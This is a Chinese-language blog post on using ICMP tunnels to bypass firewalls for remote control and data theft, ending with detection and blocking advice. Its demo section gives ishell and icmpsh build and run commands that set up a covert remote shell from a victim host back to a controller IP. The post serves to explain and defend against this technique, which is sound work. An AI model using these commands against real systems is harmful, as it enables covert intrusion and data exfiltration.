APT攻击之ICMP隐蔽信道穿越防火墙(二)

ICMP全称为因特网控制信息协议其数据包封装在 IP包的数据部分,也就是说它是位于IP层之上的一个协议 但是通常将它归人IP层。

ICMP通过在支持它的主机之间、 主机与路由器之间发送ICMP数据包 来实现信息查询和错误通知的功能。

ICMP有很多类型的数据报,例如,可以利用icmp获取主机信息,当前时间、路由信息,IP数据包可达的错误信息等。正是由于这些功能的实现,方便了开发者和运维人员,同时也为网络攻击者利用ICMP进行攻击带来了可乘之机。

目前,据我所知,利用ICMP有以下攻击手段;

  1. 利用ICMP echo数据包进行DDOS攻击,
  2. 利用ICMP重定向报文进行IP欺骗和窃听

  3. 利用ICMP的路由器的广播报文进行IP欺骗

  4. 利用ICMP隧道机制绕过防火墙进行远程控制和数据窃取

以上四中攻击方式中利用ICMP进行攻击最严重、影响范围最大就是第4种攻击手法了。也是APT攻击者经常使用的攻击手法之一。

下面结合案例重点说说使如何利用开源工具,绕过防火墙的。上次已经介绍了一种利用ICMP隧道进行常规端口的转发(https://mp.weixin.qq.com/s?__biz=MzIyMjc3NjIwMw==&mid=2247483806&idx=1&sn=93d3de1b014845f9a549e7b256a5feb6&chksm=e8291f7adf5e966ca7a572ecc304e25d7721a394ca01306917ce86b76219b9d60b0c3218dec5&token=249731531&lang=zh_CN&scene=21#wechat_redirect)。今天来说说,在主机不需要开任何端口的情况下如何绕过企业的防火墙对被控主机进行远程控制和窃取数据。

一、目前网络现状

目前企业的生产环境基本是业务服务器在DMZ区域,客户端在内外区域,服务器和客户端主机可以使用社会工程学方式。例如通过电子邮件钓鱼或者水坑攻击的方式把木马程序附加在pdf文档或者office文档载体中,一旦程序运行,就可以接收到来自攻击者机器上的客户端的ICMPecho数据包,客户端把要执行的指令封装到ICMP数据包中,当服务器接收到该数据包,解析指令,并在受控主机上运行。把结果再封装进ICMP数据包中,回传给攻击者。

现在企业的防火墙对有外到内的行为是禁止的,但是为了管理和维护方便,一般ICMP协议都是开启状态的。这样就实现了穿越防火墙的目的。

该种攻击,因为对受控主机进行数据窃取和远程控制,所以具有非常大的危害性。

二、攻击演示

下面列举了详细的攻击过程和攻击方式,方便更加细致和透彻的理解ICMP隧道的机制。

首先需要在被控主机上安装icmpshell,对其进行编译后会生成两个可执行的文件,一个是ish是控制端使用的,一个是ishd是被控端使用的。

命令如下:

tar -zxvf ish-v0.2.tar.gz

cd ISHELL-v0.2

make && make linux

安装之后,需要在被控端服务器执行如下命令:

  • -i 指定ID,标识自己的请求
  • -t 指定icmp数据的类型

  • -p 指定 icmp 数据 包大小 ,一般 情况下 1024 即可

./ishd -i 555 -t 0 -p 1099 &

在被控主机上执行如下命令,主动连接到

./ish -i 555 -t 0 -p 1099 主控制端IP地址

在主控端,需要指定相同的表示id,以表明自己的身份信息,发送的数据包大小为1099字节,和对方可以ping通的ip地址。就能够通过ICMP协议成功连接到被控主机系统,并且具有root权限,可以进行任何操作。

在操作过程中也通过tcpdump对数据流进行数据包,因为icmp是明文通讯协议,所有的数据包通讯内容都可以在数据包中回溯和还原整个攻击的场景,如下图在数据包中可以清晰的看到执行的命令,查看的数据内容,并且可以通过icmp协议传输数据。

在icmp隧道的应用中还有一个非常好用的攻击,那就是icmpsh。该软件的稳定性非常好,而且每个1秒受控主机不停的给主控端主机发送ICMP的心跳数据包。

在主控主机上运行如下命令:先关闭主机自身的icmp,防止出现不稳定的情况。

sysctl -w net.ipv4.icmp_echo_ignore_all=1 (sysctl -w net.ipv4.icmp_echo_ignore_all=0 恢复正常状态)
  • -t:制定主控端的IP地址,必填项
  • -d milliseconds 延迟

  • -b num 限制块

  • -s bytes 发送的最大字节

在主控端执行命令

python icmp_m.py 192.168.1.29[本地主机] 192.168.1.34[被控主机]

受控主机执行:

icmpsh.exe -t 192.168.1.29[主控端地址] -d 600 -b 20 -s 256

三、对策和建议

使用DPI深度包解析技术,对ICMP数据包内容进行进行检查,是否符合icmp协会规范和RFC标准。这样检查对设备的性能要求特别高,设置出错不但不能检测还能影响整个网络的带宽速率。

折中的方法,可以利用机器学习方法进行检测。例如:可以利用神经网络和贝叶斯算法,对ICMP的异常进行概率统计,找到异常通讯的ICMP数据包,进行安全检测。

最有效的解决方法是在互联网出口对ICMP协议进行完全禁止。或者只对信任的IP源地址开发ICMP通讯。

发布于:2019-10-19 21:04:22